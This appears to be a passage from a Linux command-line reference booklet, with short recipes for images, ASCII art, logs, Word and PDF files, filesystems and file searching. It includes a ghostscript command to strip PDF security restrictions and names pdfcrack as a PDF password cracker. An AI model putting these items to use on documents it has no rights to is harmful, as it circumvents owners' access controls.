* show the width x height of the image "bird.png"

 identify -format "%wx%h" bird.png  ##(prints "16x20" for example)

* rename all "png" files, so that the name includes the width and height

 for f in *.png; do rename "s/\./-"$(identify -format "%wx%h" $f)"./" $f; done

OPTIMIZING

IMAGES ....

* optimize png images

 debian: optipng

image format notes .. png, is a lossless format, has transparency .. jpg, highly compressable, lossy, no transparency .. gif, animations possible, compressed, ..

TRANSFORMING

IMAGES ....

* reduce in size all jpeg images in the folder by 50%

 mogrify -resize 50% *.jpg    ##(the images are changed)

* reduce by 50% an image and save the reduced image as "rose2.jpg"

 convert rose.jpg -resize 50% rose2.jpg

* rotate an image by 90 degrees where the height exceeds the width

 mogrify -rotate '90<' image.jpeg

* rotate an image where the width exceeds the height

 mogrify -rotate '90>' image.jpeg

* convert an image to black and white

 mogrify -monochrome colourful.jpeg

* add a grey border 2px wide and 4px high around an image

 mogrify -border 2x4 cat.jpg
 mogrify -frame 8x8 cat.jpg    ##(a bevelled border)

CONVERTING

IMAGE FORMATS ....

* convert the jpeg image "rose.jpg" to the "png" format.

 convert rose.jpg rose.png

* convert all png images in the current folder to the jpeg format

 mogrify -format jpg *.png    ##(a copy of the images is created)

* convert a large number of "gif" images to the "png" format

 find . -name "*.ico" | xargs mogrify -format png 
##(this is very fast)

* Batch resize all images in the current directory

 mogrify -resize 800\> *

ANIMATION

....

# frame numbers start at 0

* show information for all the frames in an animation

 identify tree.ico

* display how many frames an animation has

 identify tree.gif | wc -l

* extract the 2nd frame from an animated gif and save to "new.gif"

 convert animation.gif[frame1] new.gif

RESIZING

IMAGES ....

* Resize photos without changing exif

 mogrify -format jpg -quality 80 -resize 800 *.jpg

* resize(1/2) the image using imagemagick

 convert -resize 50%x50% image{,_resize}.jpg

* crop a 32x32 pixel block starting at pixel (16,16) and save to "new.gif"

 convert tree.gif -crop 32x32+16+16 new.gif

* crop a 20 pixel vertical strip starting at the top left hand corner

 convert tree.png -crop 20x0+0+0 new.png 

* create a 1 row montage with a gap in the middle

 montage medical.gif null: present.gif -tile x1 -geometry +2+2 new.jpg

* create a montage with the file name under the image, silver background

 montage -label '%f' x.png -font Arial -pointsize 30 -geometry +0+0 -background silver xy.png

* rename images according to exif or jpeg metadata

 exiv2 rename *.jpg

* draw a label at the bottom of the image in a grey rectangle (superimposed)

 convert tree.png -fill '#0008' -draw 'rectangle 5,128,114,145' \
   -fill white -annotate +10+141 'Tree' new.png 

IMAGES

OF TEXT ....

* create an image, size 165x70, of text "Tree" with text centered in image

 convert -fill blue -font Helvetica -size 165x70  -pointsize 24 \
 -gravity center label:Tree tree.gif

* create an image of text, with text font size auto-fitted to image size

 convert -fill blue -font Candice -size 165x70 label:Tree new.gif; feh new.gif

* create an image label from text from standard input

 echo "hello!" | convert -fill blue label:@- new.gif; feh new.gif

COMPRESSING

IMAGES ....

* reduce the quality (& file size) of an image, and save in "tree-80.jpg"

 convert tree.jpg -quality 80% tree-80.jpg

* reduce a jpeg even more

  -sampling-factor 2x1

VISUAL

ART

The open clip art library.

@@ http://openclipart.org/media/tags a tag cloud of open clip art

packages .. openclipart .. openclipart-png .. create-resources - brushes, gradients etc ..

ASCII

ART ....

* a demonstration of the aview tool

 bb

ascii art tools .. aview - .. cadubi - an ascii art editor .. aewan - an ascii art editor .. textdraw - create ascii geometric figures .. figlet - create ascii text banners .. cowsay - create ascii pictures of cows with speach bubble .. banner - show a large ascii banner text ..

* Outputs files with ascii art in the intended form.

 iconv -f437 -tutf8 asciiart.nfo

* display a text banner with a 50 character width

 banner -w50 'hello'

* draw a box with an ascii-art dog design around the text 'hello'

 echo hello | boxes -d dog

* choose from a set of ascii art pictures with speech bubbles

 cowsay -f tux 'hello'

* A death cow thinking in your fortune cookie

 fortune -s -c -a | cowthink -d -W 45

* view a video using only 'ascii art'

 mplayer -vo aa <video file>

* bulk dl files based on a pattern

 curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha /met-art-free-sample-00[00-19].jpg

* create ascii art pictures with various colours

 cadubi

* pass a backslash character as an argument to figlet

 figlet $'\\' 

* write 'chapter 1' as ascii bubble text

 figlet "Chapter 1"

* pass a form feed character followed by a pilcrow sign character (octal character code 266) to figlet

 echo $'\f\266' 

* plot the curve 'sin(x)' as ascii text

 echo "set terminal dumb; plot sin(x)" | gnuplot -persist

* an ascii art font for your readme text

 toilet -f big ReadMe

* vertically scrolling ascii banner text

 while [ 1 ]; do banner 'scroll! ' | while IFS="\n" read l; do echo "$l"; sleep 0.02; done; done

PATTERNS

AND TILINGS ....

* kali

CHARTS

AND GRAPHS

* the 'pic' and 'grap' groff preprocessors * debian: rlplot, ygraph, dia

graphing tools .. dot .. gnuplot .. picviz - plotter for parallel co-ordinates ..

@@ graphviz a package with tools, including 'dot' for drawing network type graphs

* Create package dependency graph

 apt-cache dotty PKG-NAME | dot -Tpng | display

GNUPLOT

....

@@ http://bumble.sf.net/books/gnuplot/gnuplot-book.txt A booklet about the gnuplot tool, in the same format as the current booklet.

This section is only meant as a brief demonstration of what gnuplot is capable of. For more detailed information please consult the booklet mentioned above.

* create an image of a sin curve graph and display it

 echo "set t png; set o 'o.png'; p sin(x)" | gnuplot; feh o.png

* plot a parabola from the bash shell

 echo 'plot x**2' | gnuplot -persist

* plot some data from the command line

 echo 'plot "list.txt" using 2:xticlabels(1)' | gnuplot -persist

* show the graph of 'parabola' curve (x to the power of 2)

 gnuplot     
 plot x**2  
 quit      

DOT

....

* Generate a graph of package dependencies

 apt-cache dotty apache2 | dot -T png | display

FLOW

CHARTS AND FIGURES

* for drawing flow charts and other figures use

 xfig

VIDEO

please see http://bumble.sf.net/books/linux-video/linux-video-book.txt for more complete information about using video with the linux operating system.

LOG

FILES

In Unix and Linux 'log' files are used by software to record things that it has done or happened to it. In particular, server software makes great use of log files. These log files are always stored as plain text.

* Truncate logs in unix

 logs=$(find . -name *.log);for log in $logs; do cat /dev/null > $log;done

* Get all possible problems from any log files

 grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*

* Follow the most recently updated log files

 ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f

* Quickly analyze apache logs for top 25 most common IP addresses.

 cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25

* Extract XML from an otherwise plain text log file

 sed -n '/<Tag>/,/<\/Tag>/p' logfile.log

* Convert the output of one or more (log, source code ...) files

 enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log

* tail, with specific pattern colored

 tail -F file | egrep --color 'pattern|$'

* Watch several log files in a single window

 multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info

* A robust, modular log coloriser

 ccze

* useful tail on /var/log to avoid old logs or/and gzipped files

 tail -f *[!.1][!.gz]

* Export log to html file

 cat /var/log/auth.log | logtool -o HTML > auth.html

* follow the end of the log file 'tcp.log' showing new data as it enters

 less +F tcp.log   ##(press [control] c to stop following)
 tail -f tcp.log   ##(the same, but you cant move up and down the file) 
 tailf tcp.log     ##(the same)

* Monitor logs in Linux using Tail

 find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f

MS WORD DOCUMENTS

* extract plain text from MS Word docx files

 unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'

* find and grep Word docs

 find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;

* view a microsoft word document

 wv

* convert a ms word document to text

 antiword, catdoc

* display the 'list.doc' file as plain text

 catdoc list.doc | less

* convert the Word file 'resume.doc' to LaTeX

 word2x -f latex resume.doc ##(writes a new file, 'resume.ltx',)

* convert all of the '.DOC' Word files in the current directory to LaTeX files with maximum line widths of 40 characters

 word2x -f latex -w 40 *.DOC 

* convert the Word file 'resume.doc' to a plain text file called 'resume'

 word2x -f text resume.doc resume 

* search the text of the Word file 'resume.doc' for the string 'linux' regardless of case

 word2x resume.doc - | grep -i linux 

POSTSCRIPT

DOCUMENTS

Postscript is a document format very well suited to being printed. However it is more difficult to view than the adobe pdf format (since the acrobat viewer is more widely installed on Microsoft Windows computers)

* view a ps file

 evince

* view a postscript file

 ghostview file.ps
 gv file.ps       ##(the same)

* view a postscript file as plain text

 ps2ascii book.ps | less

CONVERTING

POSTSCRIPT TO OTHER FORMATS ....

* convert a postscript document to the pdf format

 ps2pdf eg.ps   ##(a file called "eg.pdf" is created)

* convert a postscript file to plain text

 ps2ascii book.ps book.ps.txt

PDF

DOCUMENTS

debian packages: xpdf, xpdf-utils

@@ http://www.foolabs.com/xpdf/ home page for the pdf-utils programs

useful pdf programs .. evince - view a pdf or postscript file .. xpdf - view a pdf file .. pdftops - convert to postscript .. pdftotext - convert or view a pdf file as plain text .. pdfinfo - display lots of information about a pdf document .. pdfimages - extract images from pdffiles .. pdffonts - show what fonts are used in a pdf document .. pdftoppm - .. xpdfrc - .. pdfcrack - PDF files password cracker .. pdfjam - collection of PDF document handling utilities .. pdftk - A useful tool for manipulating PDF documents .. pdftohtml - Translates PDF documents into HTML format ..

* Merge *.pdf files

 gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`

* Merge several pdf files into a single file

 pdftk $* cat output $merged.pdf

* create a pdf of the file 'test.txt'

 enscript test.txt -o - | ps2pdf - ~/tmp/test.pdf 

* create a pdf of a directory listing of the current folder

 ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf

* Convert images to a multi-page pdf

 convert -adjoin -page A4 *.jpeg multipage.pdf

* Get pages number of the pdf file

 pdfinfo file.pdf | awk /Pages/

* Save man pages to pdf

 man -t man | ps2pdf - > man.pdf

* separate a pdf document into single pages and report its data

 pdftk mydoc.pdf burst

* Merge Two or More PDFs into a New Document

 pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf

* Optimize Xsane PDFs

 gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf

* Merge several pdf files into a single file

 gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf

* Remove security limitations from PDF documents using ghostscript

 gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf

VIEWING

PDF DOCUMENTS ....

* view a pdf file as plain text

 pdftotext file.pdf - | less

* view a compressed pdf document

 zxpdf book.pdf.gz

* view a pdf document

 xpdf book.pdf       ##(xpdf appears much faster than "acroread")
 acroread book.pdf   ##(its easier to select text in acroread) 

* view the 10th page of a pdf document with a zoom factor of 200%

 xpdf -z 200 book.pdf 10 

* view a pdf document in "continuous" mode starting at the 5th page

 xpdf -cont book.pdf 5  ##(one can scroll smoothly through the whole file)

* view a pdf document in full-screen mode

 xpdf -fullscreen book.pdf ##(the -z zoom option doesnt work with fullscreen)

* view a pdf document with the colours reversed (usually white text on black)

 xpdf -rv book.pdf

ANALYSE

PDF DOCUMENTS ....

* extract the images from the file and save them in jpeg format

 pdfimages -j report.pdf

* display information about a pdf document

 pdfinfo book.pdf

* show how many pages a pdf document has

 pdfinfo book.pdf | sed -n "/Pages:/s/^ *Pages: *//p"

* show the page size of a pdf document

 pdfinfo book.pdf | grep -i "Page size:" 

* show what fonts are used in a pdf document

 pdffonts book.pdf

EDITING

PDF FILES ....

* pdfedit

CONVERTING

PDF TO IMAGES ....

@@ http://www.medicalnerds.com/batch-converting-pdf-to-jpgjpeg-using-free-software/ some hints on converting to another format

The 'convert' tool forms part of the imagemagick suite of tools

* convert 'file.pdf' to a low quality 'png' format image

 convert file.pdf file.png

* convert 'file.pdf' to a high quality 'png' format image

 convert -density 300 file.pdf file.png

* convert 'file.pdf' to a high quality 'jpeg' format image

 convert -density 300 file.pdf file.jpg

* convert 'file.pdf' to a high quality jpeg, cropping all whitespace

 convert -density 300 -trim file.pdf file.jpg
 convert -density 300 -trim +repage file.pdf file.jpg  ##(the diff?)

Note: if the pdf file contains page numbers, then the -trim function will probably not work as well as you were hoping.

* Convert PDF to JPEG using Ghostscript

 gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf

PDF

TO POSTSCRIPT ....

* make a copy of 'file.pdf' in postscript format called 'file.ps'

 pdftops file.pdf

PDF

TO TEXT ....

* convert a pdf document to plain text (without any formatting)

 pdftotext file.pdf  ##(a file called "file.txt" is created)

* convert the pdf file "file.pdf" to a plain text file "ouput.txt"

 pdftotext file.pdf output.txt 
 ps2ascii file.pdf output.txt  ##(more or less the same)

* pstotext

FROM

OTHER FORMATS ....

* convert a web page into a pdf

 touch $2;firefox -print $1 -printmode PDF -printfile $2

THE

INFO HELP READER

* Nice info browser

 pinfo

The info reader.

For some incomprehensible reason, the www.gun.org people decided that they didnt like "man" pages and so they invented a whole new help document reader called "info". Its a nasty little second rate hypertext viewer which forces you to learn a whole new set of arbitrary keystrokes in order to move around the document (maybe they're "emacs" keystrokes, who knows). Whats more, instead of just calling "pages" pages, info calls pages "nodes" to try and be as pretentious as it possibly can. But anyway, you may have to use it.

* view the "info" help document for Latex

 info latex

Some "info" reader commands .. [space], move forward a page .. [del], move back a page, or to the previous node if at the top of the page .. q, exit the Info document viewer .. ?, show some keystrokes which are available .. h, show an "info" tutorial, if available .. [tab], go to the next link on the page .. [enter], jump to the link under the cursor .. ???, how to go to previous link is anyones guess [M-TAB] ??? .. l, go to the last page that was viewed (like a browser "back button") .. n, open the next page in the document .. p, open the previous page in the document .. u, go "up" one level in the document (usually to a table of contents) .. t, go to the main table of contents for the document .. d, view a list of all Info documents .. b, go to the top of the current page .. e, go to the end of the current page .. m, type the name of a link to jump to (can type partial names) .. i, type the name of any node to jump to .. /, search for a string in the current page ..

MAN

PAGES

@@ http://www.schweikhardt.net/man_page_howto.html @@ http://babbage.cs.qc.edu/courses/cs701/Handouts/man_pages.html

'man' (manual) pages are the traditional Unix way to document a program, command or package. They are text files with simple 'markup' codes which are then processed by the troff tool.

* Colorful man

 /usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu

* see the conventions for writing a man page

 man 7 man

* view a compressed man page in section 1 in its raw plain text format

 zcat /usr/share/man/man1/zless.1.gz | less
##(this may be useful if you wish to write a man page)

* see where the 'man' command searches for man pages

 manpath

* list all the directories in the man pages path

 ls $(manpath | tr ':' ' ')

man sections .. 1, user commands executable from a shell .. 2, kernel system calls .. 3, library functions and calls (such as libc) .. 4, special files such as in /dev .. 5, file formats and conventions (such as /etc/password) .. 6, games .. 7, conventions and miscellaneous, file system layout. .. 8, system management commands such as like mount(8) .. 9, kernel routines. this is an obsolete manual section. ..

* automatically generate man pages from C, C++, Java, Python ... source code

 doxygen   ##(doxygen can also generate documentation in html, latex etc)

* a cgi script for generating html man pages

 man2html

* save the word count tool (wc) man page as plain text

 man wc | col -b > wc.txt

DOCUMENTATION

SYSTEMS

@@ http://www.chiark.greenend.org.uk/~sgtatham/halibut/

* groff * texinfo * docbook, * halibut

SOURCE

CODE DOCUMENTATION SYSTEMS ....

* doxygen * javadoc * pod perl documentation

XML

* check if an xml or html document is well formed (valid)

 curl -s 'http://bashcurescancer.com' > bcc.html; xmlwf bcc.html
##('xmlwf' is part of the 'expat' package)

EDITING

TEXT

In the traditional unix world, the choice of text editor is often seen as a choice between vim and emacs. But many other good choices exist.

@@ tea - ? @@ sam An editor written by Rob Pike which is in turn used by various veteran unix forefathers. Sam makes more use of the mouse. @@ acme Another editor by Rob Pike. @@ joe 'joes own editor' possibly the simplest text editor to use ... @@ nano, pico small reasonably easy to use text editors originating from the pine email program. @@ vim 'visual editor improved' this is a programmers' editor for people who write a great deal of text and preferibly can type without looking at the keyboard. It is strange and annoying for new users. @@ emacs 'editing macros' capable of just about anything but dont use it, because I think its bad.

* graphical text editors .. gedit .. kate ..

BATCH

EDITING TEXT FILES ....

Batch editing of text files involves editing several or many text files at once, usually in a non-interactive way.

  1. use vim with the "argdo" function
  2. use perl with the "-i" switch
  3. some versions of "sed" do not have the "-i" switch, so perl must be used
## Before doing a "batch" edit of text files, it is probably a good ## idea to check what changes will take place without doing anything

* add the word "green" after the 500th line of the file "report.txt"

 echo -e "500a\ngreen\n.\nw\nq\n" | ed report.txt
 (echo "500a"; echo "green"; echo -e "w\nq\n") | ed report.txt ##(the same)

* In all files with a ".txt" extension replace "Daniel" with "Dan"

 grep -l "Daniel" $(find . -name "*.txt") | xargs sed -n "s/Daniel/Dan/p" 
##(the original files are left unchanged)

# using the sed -n and "p" commands, only changed lines will be displayed

* In all files with a ".txt" extension replace "Daniel" with "Dan"

 grep -l "Daniel" $(find . -name "*.txt") | xargs sed -i.bak "s/Daniel/Dan/g" 

* In "html" files, NOT containing the text "Notes:", add a line with "Notes:"

 grep -L "Daniel" $(find . -name "*.html") | xargs sed -i.bak "$s/$/\nNotes:/" 
##(a copy of the changed files is made with an extension ".bak") ##(all files in the current folder and subfolders are affected)

* replace the word "big" with small in all files in this and subfolders

 perl -p -i.bak -e 's/\bbig\b/small/g' $(grep -ril big *)

UNIX

DIRECTORY STRUCTURE

Unix has a standard folder hierarchy in which each folder is designed to serve a specific purpose and contain certain sorts of files.

* search google: unix file system standard * linux file system standard FS-Stnd

* show detailed information about what each folder is used for

 man hier

A very incomplete summary of the Unix directory structure .. .. /usr/bin/ - executable files (binary, shell scripts etc) .. /usr/sbin/ - secure executable files .. /usr/local/bin - executables only on the current machine .. /usr/share/ - files used by many programs, dictionaries, icons etc .. /usr/share/doc - documentation files .. /var/ - data files which change regularly (eg log files) .. /dev/ - peripheral devices (sound cards, usb drives etc) .. /etc/ - configuration files for programs ..

FONTS

* Refresh the cache of font directory

 sudo fc-cache -f -v

* show which fonts are installed

 fc-list | cut -d ':' -f 1 | sort -u

* show what fonts are installed for the japanese language

 fc-list :lang=ja

* Installing True-Type fonts

 ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf

font tools .. gucharmap - browse the fonts on the computer .. waterfall - show characters from a font in all sizes ..

FILE

SYSTEMS

* Force file system check

 touch /forcefsk

* Backup files incremental with rsync to a NTFS-Partition

 rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/

@@ gparted a graphical partitioner and file-system formatter @@ fdisk a command line tool

* Check the age of the filesystem

 df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create

* currently mounted filesystems in nice layout

 column -t /proc/mounts

* Converts ext2 to ext3

 tune2fs -j /dev/sdX

* migrate existing ext3 filesystems to ext4

 tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

* Show the UUID of a filesystem or partition

 sudo vol_id -u /dev/sda1

* resize a mounted ext3 file system

 v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v

ISO

FILES ....

* convert .daa to .iso

 poweriso convert image.daa -o image.iso -ot iso

* Create a CD/DVD ISO image from disk.

 readom dev=/dev/scd0 f=/path/to/image.iso

* Mount a .iso file in UNIX/Linux

 mount /path/to/file.iso /mnt/cdrom -oloop

* convert .bin / .cue into .iso image

 bchunk IMAGE.bin IMAGE.cue IMAGE.iso

* Mount and umount iso files

 function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }

PARTITIONS

....

A partition is a way of dividing a hard-disk or other storage media into several logical 'disks'.

* Mount a partition from within a complete disk dump

 INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]

FILE

SYSTEM TYPES ....

@@ http://en.wikipedia.org/wiki/Comparison_of_file_systems a good chronological table of file systems @@ http://www.osnews.com/story/9681/The_vfat_file_system_and_Linux an article about the vfat file system

a few common file-system types .. fat32 - created 1996, by microsoft, appeared in windows 95b .. vfat - ? .. ntfs v5.1 - created 2001 by microsoft and used in windows xp .. ntfs v6 - 2006 by microsoft for windows vista .. ext2 - created in 1993 and used by linux and hurd .. ext3 - created 1999 used in linux .. reiserfs - created 2001 by namesys, used in linux .. google file system - created 2003 by google for linux .. gfs2 - 2006 by red hat for linux .. ext4 - 2006 for linux ..

* view all mounted file system types

 df -T

MOUNTING

AND UNMOUNTING FILESYSTEMS ....

* Mount proc

 mount -t proc{,,}

* currently mounted filesystems in nice layout

 mount | column -t

* Mount a temporary ram partition

 mount -t tmpfs tmpfs /mnt -o size=1024m

* Mount folder/filesystem through SSH

 sshfs name@server:/path/to/folder /path/to/mount/point

* Mount a partition from within a complete disk dump

 lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo

* umount all nfs mounts on machine

 umount -a -t nfs

* mount directories in different locations

 mount --bind /old/directory/path /new/directory/path

SYMBOLIC

LINKS ....

* Find broken symlinks and delete them

 find -L /path/to/check -type l -delete

* Find broken symlinks

 find . -type l ! -exec test -e {} \; -print

* Propagate a directory to another and create symlink to content

 lndir sourcedir destdir

* show the status of all symlinks in the current folder

 symlinks -r $(pwd)

* List all symbolic links in current directory

 find /path -type l

* Find dead symbolic links

 find . -type l | perl -lne 'print if ! -e'

* Show the disk usage for files pointed to by a symbolic link

 find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh

* Eliminate dead symlinks interactively in /usr/ recursevely

 find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;

* Get the canonical, absolute path given a relative and/or

 readlink -f ../super/symlink_bon/ahoy

DIRECTORIES

Directories, which are also known as 'folders' are a way of organising files in a heirarchical kind of way.

* Push your present working directory to a stack that you can pop

 pushd /tmp

* display the folder below the current one

 tree -dL 1 | less

* display the whole directory tree below the current folder

 tree -d | less

* another directory tree

 find . -type d -print | sed -e 's;[^/]*/;..........;g'| awk '{print $0"-("NR-1")"}'

* Go to parent directory of filename edited in last command

 cd `dirname $_`

* Convert the contents of a directory listing into a colon-separated

 find . -name '*' -printf '%f:'

* find and delete empty directories recursively

 find . -depth -type d -empty -exec rmdir -v {} +

* Find the 20 biggest directories on the current filesystem

 du -xk | sort -n | tail -20

* Get the size of all the directories in current directory

 du --max-depth=1

* Replicate a directory structure dropping the files

 for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done

* Go to the next sibling directory in alphabetical order

 for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done

* maybe the quickest way to get the current program name minus the path

 programname="${0##*/}"

* Huh? Where did all my precious space go ?

 ls -la | sort -k 5bn

* fast access to any of your favorite directory.

 alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'

* Remove empty directories

 find . -type d -empty -delete

* Count the total number of files in each immediate subdirectory

 find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn

BROWSING

FOLDERS ....

* Start a file browser in the current directory

 screen -d -m nautilus --no-desktop `pwd`

* File browser in the dwm minimalist window manager

 xdg-open $(ls -1 . | dmenu)

* browse the current folder with the gnome file manager

 nautilus

* Restart nautilus, the gnome file manager

 killall nautilus

ANALYSING

DIRECTORIES ....

* list hidden files and folders in the current folder

 ls -d .*

* List only the directories

 ls -l | egrep ^d

* Sort the size usage of a directory tree by gigabytes, kilobytes,

 dh() { du -ch --max-depth=1 "${@-.}"|sort -h }

disk usage tools .. du .. firelight - a graphical tool ..

FOLDER

SIZE ....

* Watch the size of a directory using figlet

 watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"

* show the total size of the current directory

 du -sh

* display disk usage for the current folder in a readable form

 du -sh *    ##(displays values such as 2G, 43K, 12M etc)

* show available disk space in a readable form (2G, 42K etc)

 df -h

* Print the 10 deepest directory paths

 find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail

COMPARING

FOLDERS ....

* Recursively compare two directories and output their differences

 diff -urp /originaldirectory /modifieddirectory

MAKING

FOLDERS ....

* make directory tree

 mkdir -p work/{d1,d2}/{src,bin,bak}

* make 100 directories with leading zero, 001...100, using bash3.X

 mkdir $(printf '%03d\n' {1..100})

CHANGING

FOLDERS ....

* Go up multiple levels of directories quickly and easily.

 alias ..="cd .."; alias ...="cd ../.."; alias ....="cd ../../.."

* go to the previous directory

 cd -

* go to the users home directory

 cd

* go to the previous sibling directory in alphabetical order

 cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"

COPYING

FOLDERS ....

* Recursively move folders/files and preserve their permissions and

 cd /source/directory; tar cf - . | tar xf - -C /destination/directory

* copy/mkdir and automatically create parent directories

 cp --parents /source/file /target-dir

* create a copy of the 'book' folder as 'book-bak'

 cp -r book book-bak 

* copy a folder, but only newer files and display all files copied

 cp -vur book book-bak 

* copy a directory to another, only where files are newer

 cp -ru sourcefolder targetfolder 
##(or use the 'rsync' tool instead of 'cp')

* make a folder and create parent folders if necessary

 mkdir -p ./new/path/  
##(if the folder './new' doesnt exist it will also be created)

DELETING

FOLDERS ....

* take a look to command before action

 find /tmp -type f -printf 'rm "%p";\n'

* remove a directory

 rm -r folder      ##(where the dir is not empty: be careful)
 rmdir

* make an archive of a the folder 'tree' excluding .exe files

 tar -cvz --exclude *.exe -f folder.tar.gz tree 

FILE

TYPE CONVERSIONS

File Type Conversion Programs .. .. dvips, tex/latex dvi → postscript .. ps2pdf, postscript → adobe pdf .. ghostscript, postscript → gif image .. groff, groff-pic → postscript ..

FILES

* Create a bunch of dummy files for testing

 touch {1..10}.txt

* Empty a file

 > foobar.txt

* list all open files

 lsof   ##(this lists all open file, pipes, sockets etc)
 lsof -i TCP  ##(show open TCP sockets)

* show the number of open files for the root user

 lsof | grep ' root ' | awk '{print $NF}' | sort | uniq | wc -l
 lsof | grep ' root ' | awk '{print $NF}' | sort -u | wc -l   ##(the same)

* find out what sort of file is 'mys' (i.e. what is the file type)

 file mys 

* show the last modification time of a file or folder

 date -r file

FILE

SIZE ....

* Alternative size (human readable) of files and directories

 du -ms * | sort -nk1

* Another way to calculate sum size of all files matching a pattern

 find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc

ANALYSING

FILES ....

* Find files that were modified by a given command

 strace <name of the program>

* Sum size of files returned from FIND

 find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print

* list files with last modified at the end

 alias lrt='ls -lart'

* Find writable files

 find -writable

* list and sort files by size in reverse order (file size in human

 ls -S -lhr

* Get file access control list

 getfacl /mydir

* Show latest changed files

 ls -ltcrh

* Sort files by size

 ls -l | sort -nk5

* Find Duplicate Files (based on size first, then MD5 hash)

 find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate

FILE

NAMES ....

* Substitute spaces in filename with underscore

 ls -1 | rename 's/\ /_/'

COPYING

FILES ....

tools for copying files .. cp - the standard unix copy tool .. rsync - copy files across the network .. install - copies files and sets the permissions ..

* find and copy scattered mp3 files into the users images folder

 find ~ -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} ~/images 

* prevents replace an existing file by mistake

 set -o noclobber

* Copy all documents PDF in disk for your home directory

 find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +

* Create subdirectory and move files into it

 (ls; mkdir subdir; echo subdir) | xargs mv

FILE

PATHS ....

* For a $FILE, extracts the path, filename, filename without

 FILENAME=`echo ${FILE##*/}`;FILEPATH=`echo ${FILE%/*}`;NOEXT=`echo ${FILENAME%\.*}`;EXT=`echo ${FILE##*.}`

* Get the full path to a file

 realpath examplefile.txt

* get the top 10 longest filenames

 find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10

* Get the absolute path of a file

 absolute_path () { readlink -f "$1"; };

SEARCHING

FOR FILES AND DIRECTORIES

This section covers techniques to search for and find files and folders on a Unix system. This mainly involves using the "find" program from the command line. This program is flexible and useful, but its syntax can initially seem to be unnecessarily complicated. For example "find filename" will not work.

The 'find' tool has an enormous number of options and operators to construct truly abstruse find commands.

@@ http://www.softpanorama.org/Tools/Find/find_mini_tutorial.shtml a find tutorial

* Graphical search tools: Beagle, Google desktop

## for some reason find / -name "*.c" doesnt search all subfolders for me ## for this reason I use the syntax ## find /* ....

* do a full file listing of every file found with locate

 locate searchstring | xargs ls -l

* allow the user to select a file and print the chosen file

 zenity --file-selection --title 'select a file'

* Find all directories on filesystem containing more than 99MB

 du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'

* find all files with "tree" in the name in the current folder and subfolders

 find . -iname "*tree*"

* Searching files

 find /dir/ -name *name*

* best command for searching files

 find / -name \*string\*

* Search through files, ignoring .svn

 find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>

* search the contents of '.c' and '.h' file types recursively

 find . -name "*.[ch]" | xargs grep "TODO"

SEARCHING

FOR FOLDERS ....

* find all directories in the system

 find /* -type d        ##(the -print action is assumed)
 find /* -type d -print ##(the same as above)
 find / -type d         ##(on many computer the "*" may not be required)

* show all folders in the current folder

 find -maxdepth 1 -type d

* find all subdirectories and print the full path name

 find $(pwd) -type d | less

* find all directories which begin with a '.'

 find / -type d -name .\* -print
 find /* -type d -name .\* -print  
##(for some reason the "/*" idiom is necessary on my computer)

FINDING

FILES BY NAME ....

